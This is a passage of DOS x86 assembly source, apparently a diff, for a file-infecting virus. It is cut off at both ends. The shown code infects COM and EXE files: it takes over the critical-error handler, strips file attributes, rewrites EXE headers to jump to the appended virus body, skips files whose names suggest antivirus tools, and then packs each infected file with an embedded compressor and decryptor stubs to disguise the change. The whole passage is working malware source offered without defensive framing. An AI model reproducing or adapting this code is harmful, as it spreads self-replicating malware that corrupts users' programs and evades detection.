;call to old int-handler + + +;----------------------------------------------------------------------------- +; tries to infect the file +;----------------------------------------------------------------------------- + +infect: cld + + push cs ;copy filename to CS:0000 + pop es + mov si,dx + xor di,di + mov cx,0080 +namemove: lodsb + cmp al,0 + je moved + cmp al,'a' + jb char_ok + cmp al,'z' + ja char_ok + xor al,20 ;convert to upper case +char_ok: stosb + loop namemove +return: ret + +moved: stosb ;put last zero after filename + lea si,[di-5] + push cs + pop ds + + lodsw ;check extension .COM or .EXE + cmp ax,'E.' + jne not_exe + lodsw + cmp ax,'EX' + jmp short check + +not_exe: cmp ax,'C.' + jne return + lodsw + cmp ax,'MO' +check: jne return + + push ax ;save begin of extension + std ;find begin of filename + mov cx,si + inc cx +searchbegin: lodsb + cmp al,':' + je checkname + cmp al,'\' + je checkname + loop searchbegin + dec si + +checkname: pop dx + cld ;check filename + lodsw + lodsw + mov di,offset namesE + mov cl,12 + cmp dx,'EX' + je zz + mov di,offset namesC + mov cl,3 +zz: repnz scasw + je return + +name_ok: mov ah,48 ;get space for work segment + mov bx,0FFFF + int 21 + and bx,0F800 + mov ah,48 + int 21 + jc return + + push ax ;save begin and end of segment + add ax,bx + mov word ptr [topseg],ax + pop ax + add ah,10 + mov word ptr [workseg],ax + mov cl,0Bh + shr bx,cl + sub bl,2 + mov byte ptr [reads],bl + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx ;save flag on stack + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524 ;get int24 vector + int 21 + push es ;save vector on stack + push bx + + push cs + pop ds + + mov dx,offset ni24 ;install new int24 handler + mov ah,25 + push ax + int 21 + + mov ax,4300 ;ask file-attributes + cwd + int 21 + push cx ;save attributes on stack + + xor cx,cx ;clear attributes + mov ax,4301 + push ax + int 21 + jc return1v + + mov ax,3D02 ;open the file + int 21 + jnc opened +return1v: jmp return1 + +opened: xchg ax,bx ;save handle + + mov ax,5700 ;get file date & time + int 21 + push dx ;save date & time on stack + push cx + + xor dx,dx + mov di,offset oldlen + mov word ptr [di],dx + mov word ptr [di+2],dx + + mov cx,word ptr [workseg] ;read complete file +lees: push cx + mov ds,cx + mov cx,8000 + mov ah,3F + int 21 + pop cx + cmp ax,dx ;stop if no more bytes are read + je gelezen + add word ptr cs:[di],ax ;count size of file + adc word ptr cs:[di+2],dx + add ch,8 + dec byte ptr cs:[reads] ;read more? + jnz lees + cmp ax,(8000-FILELEN) ;file too big? + je close2 + +gelezen: mov ds,word ptr cs:[workseg] ;DS:SI -> begin of file + xor si,si + + push cs + pop es + mov di,offset buffer + mov cx,BUFLEN ;copy begin of file to buffer + rep movsb + + xor si,si + push ds + pop es + + cmp word ptr [si],'ZM' ;EXE or COM? + je is_EXE + + +is_COM: call check_com ;check the file + jc close2 + + mov ah,3E ;close file + int 21 + + xor di,di ;put JMP at begin of file + mov al,0E9 + stosb + mov ax,word ptr cs:[oldlen] + sub ax,low 3 + stosw + + call addvirus ;append virus after file + + push cs + pop ds + + mov ah,3C ;create new file + xor dx,dx + mov cx,20 + int 21 + jc return1 + xchg ax,bx + + call do_com ;write packed file +close2: jmp close + + +is_EXE: call check_exe ;check the file + jc close2 + + mov ah,3E ;close the file + int 21 + +infect_exe: call getlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + dec ax + add dx,low 10 + + mov word ptr [si+16],ax ;put CS in header + mov word ptr [si+0E],ax ;put SS in header + mov word ptr [si+14],dx ;put IP in header + mov word ptr [si+10],STACKOFF ;put SP in header + + call getlen ;put new length in header + add ax,FILELEN + adc dx,0 + call calclen + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + call addvirus ;append virus after file + + call pre_patch ;prepare file for compression + jnc patch_ok + pop cx + pop dx + jmp short do_close + +patch_ok: push cs + pop ds + + mov ah,3C ;create new file + xor dx,dx + mov cx,20 + int 21 + jc return1 + xchg ax,bx + + call do_exe ;write packed file + +close: pop cx ;restore date & time + pop dx + mov ax,5701 + int 21 + +do_close: mov ah,3E ;close the file + int 21 + +return1: pop ax ;restore attributes + pop cx + cwd + int 21 + + pop ax ;restore int24 vector + pop dx + pop ds + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov ax,word ptr cs:[workseg] ;release work segment + sub ah,10 + mov es,ax + mov ah,49 + int 21 + + ret + + +;----------------------------------------------------------------------------- +; add virus to file +;----------------------------------------------------------------------------- + +addvirus: push ds + push si + + push cs ;ES:DI -> end of file + pop ds + call gotoend + mov si,0100 ;append virus + mov cx,FILELEN + rep movsb + + add word ptr [oldlen],FILELEN ;adjust size counters + adc word ptr [oldlen+2],0 + + mov ax,word ptr [oldlen] + mov dx,word ptr [oldlen+2] + mov word ptr [orglen],ax + mov word ptr [orglen+2],dx + + pop si + pop ds + ret + +;----------------------------------------------------------------------------- +; filenames to avoid +;----------------------------------------------------------------------------- + +namesC db 'CO', ' ', ' ' +namesE db 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI', 'FI' + db 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ', ' ' + db ' ', ' ' + + +;----------------------------------------------------------------------------- +; calculate length for EXE header +;----------------------------------------------------------------------------- + +calclen: mov cx,0200 + div cx + or dx,dx + jz no_cor + inc ax +no_cor: ret + + +;----------------------------------------------------------------------------- +; get original length of program +;----------------------------------------------------------------------------- + +getlen: mov ax,cs:[oldlen] + mov dx,cs:[oldlen+2] + ret + + +;----------------------------------------------------------------------------- +; goto position in file +;----------------------------------------------------------------------------- + +gotoend: call getlen +goto: call div10 + add ax,word ptr cs:[workseg] + mov es,ax + mov di,dx + ret + + +;----------------------------------------------------------------------------- +; check COM file +;----------------------------------------------------------------------------- + +check_com: cmp word ptr [si+3],0FC3Bh ;already packed? + je bad_com + + test byte ptr [si],80 ;maybe a strange EXE? + jz bad_com + + call getlen ;check length + cmp ah,0D0 + jae bad_com + cmp ah,1 + jb bad_com + + clc + ret + +bad_com: stc + ret + + +;----------------------------------------------------------------------------- +; check EXE file +;----------------------------------------------------------------------------- + +check_exe: cmp word ptr [si+23],06FC ;already packed? + je bad_exe + + cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? + jb not_win + + mov ax,003C + cwd + call goto + + mov ax,word ptr es:[di] + mov dx,word ptr es:[di+2] + call goto + + cmp byte ptr es:[di+1],'E' + je bad_exe + +not_win: call getlen ;check for internal overlays + call calclen + cmp word ptr [si+4],ax + jne bad_exe + cmp word ptr [si+2],dx + jne bad_exe + + cmp word ptr [si+0C],si ;high memory allocation? + je bad_exe + + cmp word ptr [si+1A],si ;overlay nr. not zero? + jne bad_exe + + + cmp word ptr [si+8],0F80 ;check size of header + ja bad_exe + cmp word ptr [si+8],2 + jb bad_exe + + clc + ret + +bad_exe: stc + ret + + +;--------------------------------------------------------------------- +; prepare file for compression +;--------------------------------------------------------------------- + +pre_patch: mov ax,word ptr [si+4] ;calculate size in paragraphs + mov cx,5 + shl ax,cl + sub ax,word ptr [si+8] + mov word ptr cs:[lm_par],ax + + mov ax,word ptr cs:[orglen] ;calculate end of file + mov dx,word ptr cs:[orglen+2] + call goto + + add ax,word ptr [si+8] ;file too big? + add ax,2 + cmp ax,word ptr cs:[topseg] + jb not2big + stc + ret + +not2big: mov ax,word ptr [si+8] ;copy header after file + push di + push di + push si + mov cx,3 + shl ax,cl + mov cx,ax + rep movsw + mov dx,di + pop si + pop di + push dx + + mov cx,word ptr [si+6] ;are there relocation items? + jcxz z5 + add di,[si+18] + add si,[si+18] + push di + push si + push cx + xor ax,ax ;clear relloc. items + shl cx,1 + rep stosw + pop cx + pop si + pop di + mov bp,-1 +z1: lodsw ;fill in relloc. items + mov dx,ax + lodsw + or ax,ax + js errr + cmp ax,bp + jne z3 + mov ax,dx + sub ax,bx + test ah,0C0 + jnp z2 + or ah,80 + jmp short z4 + +z2: mov ax,[si-2] +z3: stosw + mov bp,ax + mov ax,dx +z4: mov bx,dx + stosw + loop z1 + +z5: pop dx + pop si + + mov cx,di ;search end of relloc. table + xor ax,ax +z6: cmp di,dx + jae z7 + scasb + jz z6 + mov cx,di + jmp short z6 + +z7: sub cx,si + push es + pop ds + + push si ;calculate checksum + push cx + xor ax,ax +z8: xor ah,[si] + inc si + loop z8 + and ah,0FE + pop cx + pop si + add [si+2],ax + mov ax,cx + xor dx,dx + + add word ptr cs:[oldlen],ax ;adjust size counters + adc word ptr cs:[oldlen+2],dx + mov ax,[si+8] + mov cx,4 + shl ax,cl + sub word ptr cs:[oldlen],ax + sbb word ptr cs:[oldlen+2],dx + + clc + ret + +errr: stc + ret + + +;--------------------------------------------------------------------- +; write packed COM file +;--------------------------------------------------------------------- + +do_com: mov ah,40 ;first part of decryptor + mov cx,25 + mov dx,offset diet_strt + int 21 + + push bx + + mov ax,word ptr [workseg] ;init. segments + mov ds,ax + sub ah,10 + mov es,ax + + mov cl,1 + + call diet ;crunch! + + push cs + push cs + pop ds + pop es + + mov word ptr [diet_strt+23],bx ;save values + mov word ptr [newlen],ax + mov word ptr [newlen+2],dx + + pop bx + + call patchC ;adjust values in decryptor + + mov ah,40 ;write rest of decryptor + mov cx,094 + mov dx,offset diet_end1 + int 21 + + mov ah,40 + mov cx,0F + mov dx,offset diet_end2 + int 21 + + mov ax,4200 ;goto begin + xor cx,cx + cwd + int 21 + + mov ah,40 ;write first part again + mov cx,25 + mov dx,offset diet_strt + int 21 + ret + + +;--------------------------------------------------------------------- +; write packed EXE file +;--------------------------------------------------------------------- + +do_exe: mov ah,40 ;first part of decryptor + mov cx,5A + mov dx,offset exe_hdr + int 21 + + push bx + + mov ax,word ptr [workseg] ;init. segments + mov ds,ax + sub ah,10 + mov es,ax + + cmp word ptr cs:[oldlen+2],0 + jl vorm1 + jg vorm0 + cmp word ptr cs:[oldlen],0FC00 + jbe vorm1 + +vorm0: xor ax,ax + jmp short v1 + +vorm1: mov ax,1 + +v1: mov word ptr cs:[savevorm],ax + mov cx,ax + + mov ax,ds + xor si,si + add ax,word ptr [si+8] + mov ds,ax + + call diet ;crunch! + + push cs + pop ds + mov es,word ptr [workseg] + + mov word ptr [exe_hdr+12],bx ;save values + mov word ptr [newlen],ax + mov word ptr [newlen+2],dx + + pop bx + + call patchE ;adjust values in decryptor + + push cs + pop es + + mov cx,94 ;write rest of decryptor + cmp word ptr [savevorm],0 + jne v2 + mov cx,0C0 +v2: mov ah,40 + mov dx,offset diet_end1 + int 21 + + mov ax,word ptr [vorm] + cmp al,2 + je v4 + cmp al,1 + je v3 + + mov cx,35 + mov dx,offset diet_end_e1 + jmp short v5 + +v3: mov cx,3E + mov dx,offset diet_end_e2 + jmp short v5 + +v4: mov cx,1Dh + mov dx,offset diet_end_e3 + +v5: mov ah,40 + int 21 + + mov ax,4200 ;goto begin + xor cx,cx + cwd + int 21 + + mov ah,40 ;write first part again + mov cx,5A + mov dx,offset exe_hdr + int 21 + ret + + +;--------------------------------------------------------------------- +; adjust values in COM decryptor +;--------------------------------------------------------------------- + +patchC: mov ax,word ptr [newlen] + add ax,0C4 + shr ax,1 + mov word ptr [diet_strt+0F],ax + shl ax,1 + add ax,123 + mov word ptr [diet_strt+0C],ax + add ax,word ptr [oldlen] + sub ax,word ptr [newlen] + add ax,3DBh + mov word ptr [diet_strt+1],ax + + mov ax,word ptr [oldlen] + add ax,456 + mov word ptr [diet_strt+21],ax + add ax,4Dh + neg ax + mov word ptr [diet_end2+0Dh],ax + ret + + +;--------------------------------------------------------------------- +; adjust values in EXE decryptor +;--------------------------------------------------------------------- + +patchE: push bx + + mov ax,3A + xor dx,dx + add ax,word ptr [newlen] + adc dx,word ptr [newlen+2] + call div10 + add ax,18 + mov word ptr [exe_hdr+2E],ax + push dx + + call getlen + call shift4 + add ax,58 + mov si,ax + sub ax,word ptr [exe_hdr+2E] + mov word ptr [exe_hdr+35],ax + cmp ax,10 + jnb pe0 + mov word ptr [exe_hdr+35],10 + mov si,word ptr [exe_hdr+2E] + add si,ax + +pe0: mov ax,word ptr [orglen] + mov dx,word ptr [orglen+2] + call shift4 + sub ax,word ptr es:[0008] + mov word ptr [exe_hdr+58],ax + + neg ax + add ax,si + mov cx,4 + shl ax,cl + pop dx + add ax,dx + sub ax,107 + mov word ptr [exe_hdr+56],ax + + cmp word ptr es:[0006],0 + jz pe2 + + mov ax,es:[0010] + mov cx,4 + shr ax,cl + add ax,es:[000E] + mov dx,si + add dx,8 + cmp ax,dx + jbe pe1 + mov word ptr [vorm],0 + mov ax,word ptr es:[000E] + mov word ptr [exe_hdr+0E],ax + mov ax,word ptr es:[0010] + mov word ptr [exe_hdr+10],ax + jmp short pe5 + +pe1: mov word ptr [vorm],1 + jmp short pe4 + +pe2: mov word ptr [vorm],2 + +pe4: mov word ptr [exe_hdr+0E],si + mov word ptr [exe_hdr+10],0080 + mov ax,word ptr es:[000E] + mov word ptr [diet_end_e2+26],ax + mov word ptr [diet_end_e3+05],ax + mov ax,word ptr es:[0010] + mov word ptr [diet_end_e2+2Bh],ax + mov word ptr [diet_end_e3+0A],ax + +pe5: mov ax,094 + cmp word ptr [savevorm],0 + jne pe6 + mov ax,0C0 +pe6: xchg ax,dx + + mov ax,word ptr [vorm] + mov bx,offset vormval + xlat + add ax,dx + add ax,5A + xor dx,dx + add ax,word ptr [newlen] + adc dx,word ptr [newlen+2] + + push ax + push dx + + push ax + push dx + + push ax + add ax,01FF + adc dx,0 + call shift9 + mov word ptr [exe_hdr+4],ax + pop ax + and ax,01FF + mov word ptr [exe_hdr+2],ax + + pop dx + pop ax + + add ax,-11 + adc dx,-1 + call shift4 + xchg ax,dx + + mov di,word ptr [lm_par] + add di,es:[000A] + mov ax,si + add ax,8 + cmp ax,di + ja pe10 + mov ax,di +pe10: sub ax,dx + mov word ptr [exe_hdr+0A],ax + + mov word ptr [exe_hdr+0C],0FFFF + cmp word ptr es:[000C],0FFFF + jz pe12 + + mov di,word ptr [lm_par] + add di,es:[000C] + mov ax,si + add ax,8 + cmp ax,di + ja pe11 + mov ax,di +pe11: sub ax,dx + mov word ptr [exe_hdr+0C],ax + +pe12: mov ax,word ptr es:[0014] + mov word ptr [diet_end_e1+31],ax + mov word ptr [diet_end_e2+3A],ax + mov word ptr [diet_end_e3+19],ax + + mov ax,word ptr es:[0016] + mov word ptr [diet_end_e1+33],ax + mov word ptr [diet_end_e2+3C],ax + mov word ptr [diet_end_e3+1Bh],ax + + pop dx + pop ax + add ax,-22 + adc dx,-1 + call div10 + mov word ptr [exe_hdr+1E],ax + mov word ptr [exe_hdr+1C],dx + + mov ax,word ptr [orglen] + and ax,000F + add ax,word ptr es:[0018] + mov word ptr [diet_end_e1+4],ax + mov word ptr [diet_end_e2+4],ax + + mov ax,word ptr es:[0006] + mov word ptr [diet_end_e1+7],ax + mov word ptr [diet_end_e2+7],ax + + mov ax,word ptr [newlen] + mov dx,word ptr [newlen+2] + mov word ptr [exe_hdr+20],ax + mov byte ptr [exe_hdr+22],dl + + mov ax,word ptr es:[0008] + mov word ptr [exe_hdr+1A],ax + + pop bx + ret + + +;--------------------------------------------------------------------- +; shift DX,AX 4 bytes to right +;--------------------------------------------------------------------- + +div10: mov cx,10 + div cx + ret + + +;--------------------------------------------------------------------- +; shift DX,AX to right +;--------------------------------------------------------------------- + +shift9: mov cx,9 + jmp short shiftlup + +shift4: mov cx,4 +shiftlup: dec cx + jl shiftend + sar dx,1 + rcr ax,1 + jmp short shiftlup +shiftend: ret + + +;--------------------------------------------------------------------- +; data area +;--------------------------------------------------------------------- + +vormval db 35, 3E, 1Dh +handle db 0, 0 +data_163 dw 0 +save_stack dw 0, 0 +data_166 dw 0 +data_167 dw 0 +data_168 dw 0 +data_169 dw 0 +data_170 dw 0 +data_171 dw 0 +data_172 db 1 + + +;--------------------------------------------------------------------- +; decryptors +;--------------------------------------------------------------------- + +exe_hdr db 04Dh, 05Ah, 000h, 000h, 000h, 000h, 001h, 000h + db 002h, 000h, 000h, 000h, 0FFh, 0FFh, 000h, 000h + db 000h, 000h, 000h, 000h, 003h, 000h, 000h, 000h + db 01Ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0FCh, 006h, 01Eh, 00Eh, 08Ch + db 0C8h, 001h, 006h, 038h, 001h, 0BAh, 000h, 000h + db 003h, 0C2h, 08Bh, 0D8h, 005h, 000h, 000h, 08Eh + db 0DBh, 08Eh, 0C0h, 033h, 0F6h, 033h, 0FFh, 0B9h + db 008h, 000h, 0F3h, 0A5h, 04Bh, 048h, 04Ah, 079h + db 0EEh, 08Eh, 0C3h, 08Eh, 0D8h, 0BEh, 04Ah, 000h + db 0ADh, 08Bh, 0E8h, 0B2h, 010h, 0EAh, 000h, 000h + db 000h, 000h + +diet_strt db 0BFh, 000h, 000h, 03Bh, 0FCh, 072h, 004h, 0B4h + db 04Ch, 0CDh, 021h, 0BEh, 000h, 000h, 0B9h, 000h + db 000h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh + db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h + db 0E9h, 000h, 000h, 000h, 000h + +diet_end1 db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh + db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h + db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h + db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h + db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h + db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h + db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h + db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh + db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh + db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h + db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h + db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah + db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h + db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh + db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h + db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh + db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah + db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h + db 03Ah, 0FBh, 075h, 0DDh, 0E8h, 069h, 0FFh, 073h + db 027h, 0B1h, 004h, 057h, 0D3h, 0EFh, 08Ch, 0C0h + db 003h, 0C7h, 080h, 0ECh, 002h, 08Eh, 0C0h, 05Fh + db 081h, 0E7h, 00Fh, 000h, 081h, 0C7h, 000h, 020h + db 056h, 0D3h, 0EEh, 08Ch, 0D8h, 003h, 0C6h, 08Eh + db 0D8h, 05Eh, 081h, 0E6h, 00Fh, 000h, 0EBh, 0B9h + + +diet_end2 db 033h, 0EDh, 033h, 0FFh, 033h, 0F6h, 033h, 0D2h + db 033h, 0DBh, 033h, 0C0h, 0E9h, 000h, 000h + + +diet_end_e1 db 05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h + db 000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h + db 08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h + db 0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh + db 0E2h, 0E7h, 007h, 01Fh, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0EAh, 000h, 000h, 000h, 000h + +diet_end_e2 db 05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h + db 000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h + db 08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h + db 0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh + db 0E2h, 0E7h, 007h, 01Fh, 081h, 0C5h, 000h, 000h + db 08Eh, 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h + db 0FFh, 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h + db 0C0h, 0EAh, 000h, 000h, 000h, 000h + +diet_end_e3 db 05Dh, 007h, 01Fh, 081h, 0C5h, 000h, 000h, 08Eh + db 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0EAh, 000h, 000h, 000h, 000h + + +;--------------------------------------------------------------------- +; crunch routines (thanks to Sourcer) +;--------------------------------------------------------------------- + +diet proc near + push bp + mov bp,sp + push di + push si + + mov word ptr cs:[handle],bx + mov cs:data_172,cl + + call getlen + mov cs:data_167,ax + mov cs:data_166,dx + + cli + mov cs:[save_stack],ss + mov cs:[save_stack+2],sp + mov bx,es + mov ss,bx + mov sp,0FE00h + sti + cld + push dx + push ax + call sub_24 + xor cx,cx + mov cs:data_169,cx + mov cs:data_170,cx + mov cs:data_163,cx + mov cs:data_171,0FFFFh + xor si,si + cmp byte ptr cs:data_172,0 + jne loc_219 + mov ax,ds + sub ax,200h + mov ds,ax + mov si,2000 +loc_219: + mov di,0E000 + mov cs:data_168,di + add di,2 + pop ax + pop dx + or dx,dx + mov dx,10h + jnz loc_220 + or ah,ah + jnz loc_220 + mov dh,al +loc_220: + call sub_27 + cmp ax,2 + ja loc_223 + jz loc_221 + stc + call sub_23 + mov al,[si-1] + stosb + mov cx,1 + jmp loc_236 +loc_221: + clc + call sub_23 + clc + call sub_23 + mov al,bl + stosb + cmp bx,0FF00h + pushf + call sub_23 + popf + jc loc_222 + mov cx,2 + jmp loc_236 +loc_222: + inc bh + mov cl,5 + shl bh,cl + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + mov cx,2 + jmp loc_236 +loc_223: + push ax + clc + call sub_23 + stc + call sub_23 + mov al,bl + stosb + cmp bh,0FEh + jb loc_224 + mov cl,7 + shl bh,cl + shl bh,1 + call sub_23 + stc + call sub_23 + jmp loc_228 +loc_224: + cmp bh,0FCh + jb loc_225 + mov cl,7 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + stc + call sub_23 + jmp short loc_228 +loc_225: + cmp bh,0F8h + jb loc_226 + mov cl,6 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + stc + call sub_23 + jmp short loc_228 +loc_226: + cmp bh,0F0h + jb loc_227 + mov cl,5 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + stc + call sub_23 + jmp short loc_228 +loc_227: + mov cl,4 + shl bh,cl + shl bh,1 + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 +loc_228: + pop cx + cmp cx,3 + jne loc_229 + stc + call sub_23 + jmp loc_236 +loc_229: + cmp cx,4 + jne loc_230 + clc + call sub_23 + stc + call sub_23 + jmp loc_236 +loc_230: + cmp cx,5 + jne loc_231 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + jmp loc_236 +loc_231: + cmp cx,6 + jne loc_232 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + jmp loc_236 +loc_232: + cmp cx,7 + jne loc_233 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + clc + call sub_23 + jmp short loc_236 +loc_233: + cmp cx,8 + jne loc_234 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + stc + call sub_23 + jmp short loc_236 +loc_234: + cmp cx,10h + ja loc_235 + mov bh,cl + sub bh,9 + push cx + mov cl,5 + shl bh,cl + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + shl bh,1 + call sub_23 + pop cx + jmp short loc_236 + jmp short loc_236 +loc_235: + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + clc + call sub_23 + stc + call sub_23 + mov ax,cx + sub ax,11h + stosb +loc_236: + cmp si,0E000h + jbe loc_238 + cmp byte ptr cs:data_172,0 + jne loc_237 + clc + call sub_23 + clc + call sub_23 + mov al,0FFh + stosb + clc + call sub_23 + stc + call sub_23 +loc_237: + mov ax,ds + add ax,0C00h + mov ds,ax + call sub_25 + sub si,0C000h +loc_238: + cmp di,0F810 + jbe loc_240 + push ds + push bp + push dx + push cx + mov cx,cs:data_168 + cmp cx,0F800h + jbe loc_239 + mov cx,1800h + call sub_22 +loc_239: + pop cx + pop dx + pop bp + pop ds +loc_240: + mov ax,si + and ax,0F000h + cmp ax,cs:data_171 + je loc_241 + mov cs:data_171,ax +loc_241: + mov ax,cs:data_167 + sub ax,cx + mov cs:data_167,ax + sbb cs:data_166,0 + jnz loc_242 + or ah,ah + jnz loc_242 + mov dh,al + or al,al + jz loc_243 +loc_242: + jmp loc_220 +loc_243: + clc + call sub_23 + clc + call sub_23 + mov al,0FFh + stosb + clc + call sub_23 + clc + call sub_23 +loc_244: + shr bp,1 + dec dl + jnz loc_244 + push di + mov di,cs:data_168 + mov es:[di],bp + pop di + mov cx,di + sub cx,0E000h + call sub_22 + mov dx,cs:data_169 + mov ax,cs:data_170 + mov bx,cs:data_163 +loc_245: + cli + mov ss,cs:[save_stack] + mov sp,cs:[save_stack+2] + sti + pop si + pop di + pop bp + ret +diet endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_22 proc near + push es + pop ds + push di + push cx + mov ax,cs:data_163 + mov bp,0FE00 + mov bx,0E000 + jcxz loc_248 + +locloop_247: + xor al,[bx] + inc bx + mov dl,al + xor dh,dh + mov al,ah + xor ah,ah + shl dx,1 + mov di,dx + xor ax,[bp+di] + loop locloop_247 + +loc_248: + mov cs:data_163,ax + pop cx + pop di + mov dx,0E000 + mov bx,word ptr cs:[handle] + mov ah,40h + int 21h + jc loc_250 + cmp ax,cx + jne loc_250 + add cs:data_170,ax + adc cs:data_169,0 + sub di,cx + sub cs:data_168,cx + push cx + mov bx,dx + mov cx,10h + +locloop_249: + mov ax,ds:[bx+1800] + mov [bx],ax + inc bx + inc bx + loop locloop_249 + + pop cx + ret +loc_250: + mov ax,0FFFFh + cwd + jmp loc_245 +sub_22 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_23 proc near + rcr bp,1 + dec dl + jnz loc_ret_251 + push di + xchg di,cs:data_168 + mov es:[di],bp + mov dl,10h + pop di + inc di + inc di + +loc_ret_251: + ret +sub_23 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_24 proc near + xor bp,bp + xor bx,bx + mov cx,7000h + +locloop_252: + mov [bp],bx + inc bp + inc bp + loop locloop_252 + + mov bp,0FE00 + xor di,di + xor dx,dx +loc_253: + mov ax,dx + mov cx,8 + +locloop_254: + shr ax,1 + jnc loc_255 + xor ax,0A001h +loc_255: + loop locloop_254 + + mov [bp+di],ax + inc di + inc di + inc dl + jnz loc_253 + ret +sub_24 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_25 proc near + push bp + push cx + mov bp,8000 + mov cx,2000h + +locloop_256: + mov bx,[bp] + mov ax,bx + sub ax,si + cmp ax,0E000h + jb loc_257 + sub bx,0C000h + jmp short loc_258 +loc_257: + xor bx,bx +loc_258: + mov [bp],bx + inc bp + inc bp + loop locloop_256 + + pop cx + pop bp + ret +sub_25 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_26 proc near + lodsw + dec si + mov cx,103h + mov bp,ax + shr bp,cl + mov cl,al + and cl,7 + shl ch,cl + test ch,[bp-4000h] + pushf + or [bp-4000h],ch + and ah,1Fh + shl ax,1 + mov bp,ax + mov cx,[bp-8000h] + mov [bp-8000h],si + jcxz loc_259 + sub cx,si + cmp cx,0E000h + jae loc_259 + xor cx,cx +loc_259: + mov bp,si + shl bp,1 + and bp,3FFFh + mov [bp],cx + popf + jnz loc_260 + xor cx,cx + mov [bp+4000h],cx + ret +loc_260: + push bp + lodsb + mov di,si + dec si +loc_261: + dec di + mov cx,[bp] + add di,cx + shl cx,1 + jz loc_262 + add bp,cx + and bp,3FFFh + mov cx,di + sub cx,si + cmp cx,0E000h + jb loc_263 + scasb + jnz loc_261 + cmp di,si + jae loc_261 +loc_262: + pop bp + mov [bp+4000h],cx + or cx,cx + ret +loc_263: + xor cx,cx + jmp short loc_262 +sub_26 endp + + +;--------------------------------------------------------------------- +; +;--------------------------------------------------------------------- + +sub_27 proc near + push es + push bp + push di + push dx + push ds + pop es + call sub_26 + mov bx,cx + mov ax,1 + jnz loc_264 + jmp loc_276 +loc_264: + push bp + mov cx,103h + mov ax,[si] + mov bp,ax + shr bp,cl + mov cl,al + and cl,7 + shl ch,cl + test ch,[bp-4000h] + pop bp + mov ax,2 + jz loc_272 + mov dx,si + inc si + mov di,si + xor ax,ax + jmp short loc_266 +loc_265: + pop di + pop si +loc_266: + 